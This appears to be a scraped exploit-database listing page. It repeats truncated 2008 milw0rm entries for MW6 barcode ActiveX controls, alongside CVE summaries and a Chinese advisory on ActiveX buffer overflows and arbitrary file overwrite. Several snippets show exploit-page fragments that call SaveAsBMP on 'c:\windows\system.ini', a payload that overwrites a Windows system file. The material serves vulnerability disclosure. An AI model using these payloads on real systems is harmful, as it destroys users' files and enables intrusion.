MW6 Aztec - ActiveX 'Aztec.dll' Remote Insecure Method

 Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1 milw0rm.com 2008-10-29...

MW6 Barcode - ActiveX 'Barcode.dll' Insecure Method

...

MW6 PDF417 - ActiveX 'MW6PDF417.dll' Remote Insecure Method

 Test Exploit page targetFile = "C:\WINDOWS\system32\MW6PDF417.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "MW6PDF417Lib.PDF417" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF...

MW6 Datamatrix - ActiveX 'Datamatrix.dll' Insecure Method

 Test Exploit page targetFile = "C:\WINDOWS\system32\DataMatrix.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "DATAMATRIXLib.MW6DataMatrix" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1 milw0rm.com 2008-10-...

MW6 Barcode - ActiveX Barcode.dll Insecure Method

MW6 Barcode - ActiveX Barcode.dll Insecure Method  param name="FontName"...

MW6 Datamatrix - ActiveX Datamatrix.dll Insecure Method

MW6 Datamatrix - ActiveX Datamatrix.dll Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\DataMatrix.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "DATAMATRIXLib.MW6DataMatrix" argCount = 1 arg1="c:\windows\system.ini"...

MW6 Aztec ActiveX (Aztec.dll) Remote Insecure Method Exploit

Exploit for unknown platform in category remote exploits ============================================================ MW6 Aztec ActiveX Aztec.dll Remote Insecure Method Exploit ============================================================ Test Exploit page targetFile =...

MW6 DataMatrix ActiveX (DataMatrix.dll) Insecure Method Exploit

Exploit for unknown platform in category remote exploits =============================================================== MW6 DataMatrix ActiveX DataMatrix.dll Insecure Method Exploit =============================================================== ? Test Exploit page targetFile =...

MW6 Aztec - ActiveX Aztec.dll Remote Insecure Method

MW6 Aztec - ActiveX Aztec.dll Remote Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1...

MW6 Barcode ActiveX (Barcode.dll) Insecure Method Exploit

Exploit for unknown platform in category remote exploits ========================================================= MW6 Barcode ActiveX Barcode.dll Insecure Method Exploit ========================================================= ?...

MW6 PDF417 ActiveX (MW6PDF417.dll) Remote Insecure Method Exploit

Exploit for unknown platform in category remote exploits ================================================================= MW6 PDF417 ActiveX MW6PDF417.dll Remote Insecure Method Exploit ================================================================= ? Test Exploit page param name="Y2XRatio"...

CVE-2008-4771

Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in 1 4xem VatCtrl Class VATDecoder.dll 1.0.0.27 and 1.0.0.51, 2 D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5, 3 Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39, and possibly other products, allows remote...

Stack overflow

Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in 1 4xem VatCtrl Class VATDecoder.dll 1.0.0.27 and 1.0.0.51, 2 D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5, 3 Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39, and possibly other products, allows remote...

CVE-2008-4771

CVE-2008-4771 describes a stack-based buffer overflow in the VATDecoder.VatCtrl.1 ActiveX control across multiple products (4xem VatCtrl Class VATDecoder.dll 1.0.0.27/1.0.0.51; D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5; Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39), ...

CVE-2008-4771

Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in 1 4xem VatCtrl Class VATDecoder.dll 1.0.0.27 and 1.0.0.51, 2 D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5, 3 Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39, and possibly other products, allows remote...

DB Software Laboratory 'VImpX.ocx' ActiveX控件文件破坏漏洞

BUGTRAQ ID: 31907 CNCAN ID：CNCAN-2008102501 VImpX ActiveX控件允许跨表格或ODBC数据源将数据导入到Oracle、SQL Server或ODBC数据库中。 'VImpX.ocx' ActiveX控件存在多个安全问题，远程攻击者可以利用漏洞以应用程序权限执行任意指令或破坏系统文件。 1，传递超长字符串超过256字节可触发缓冲区溢出。 2，"LogFile"方法没有检查用户提供的参数，提交恶意文件名，并在"ClearLogFile"函数调用时删除文件内容。 3，"SaveToFile"方法没有检查用户提供的参数，可导致目标文件被破坏。 ...

CVE-2008-4750

Stack-based buffer overflow in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allows remote attackers to execute arbitrary code via a long LogFile property...

Design/Logic Flaw

Multiple insecure method vulnerabilities in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allow remote attackers to overwrite arbitrary files via 1 the LogFile property and ClearLogFile method, and 2 the SaveToFile method...

Stack overflow

Stack-based buffer overflow in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allows remote attackers to execute arbitrary code via a long LogFile property...

CVE-2008-4749

Multiple insecure method vulnerabilities in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allow remote attackers to overwrite arbitrary files via 1 the LogFile property and ClearLogFile method, and 2 the SaveToFile method...